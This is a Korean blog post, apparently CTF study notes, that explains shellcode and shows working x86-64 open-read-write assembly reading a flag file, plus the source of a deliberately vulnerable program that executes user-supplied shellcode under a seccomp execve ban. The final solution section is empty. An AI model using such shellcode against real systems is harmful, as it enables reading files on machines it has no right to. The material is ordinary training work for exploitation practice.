728x90
• Shell coade
익스플로잇을 위해 제작된 어셈블리 코드 조각이다. 즉, shell을 획득하기 위한 목적으로 shell코드르 사용한다.
• orw shellcode
orw shellcode는 파일을 열고, 읽은 뒤 화면에 출력해주는 코드이다.
ex) "/tmp/flag"를 읽는 shellcode 작성하기
char buf[0x30]; int fd = open("/tmp/flag", RD_ONLY, NULL); // 문자열을 메모리에 위치시키기 read(fd, buf, 0x30); write(1, buf, 0x30); |
스택에는 8바이트 단위로만 값을 push 할 수 있다. 근데 "/tmp/flag" 는 9바이트 이기때문에 먼저 0x67를 우선 push 한 다음 해줘야한다.(리틀 엔디언으로 저장되기 때문에 마지막 문자를 넣어줘야한다)
*0x67은 'g' 단어의 16진수이다.
//int fd = open("/tmp/flag", O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
//read(fd, buf, 0x20)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
//write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
• 문제 풀이
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
- orw 코드 작성
int fd = open("/home/shell_basic/flag_name_is_looooooog", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
- 스켈레톤 코드
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
- shellcode 작성
'모의해킹 > 시스템 해킹' 카테고리의 다른 글
Welcome (0) | 2023.12.09 |
---|---|
qemu & gdb 세팅 (0) | 2023.05.30 |
리눅스 커널 & 파일 시스템 빌드 (0) | 2023.05.29 |
리눅스 커널 해킹 (배경 지식) (0) | 2023.05.27 |
시스템 해킹 기본 지식 (0) | 2023.05.11 |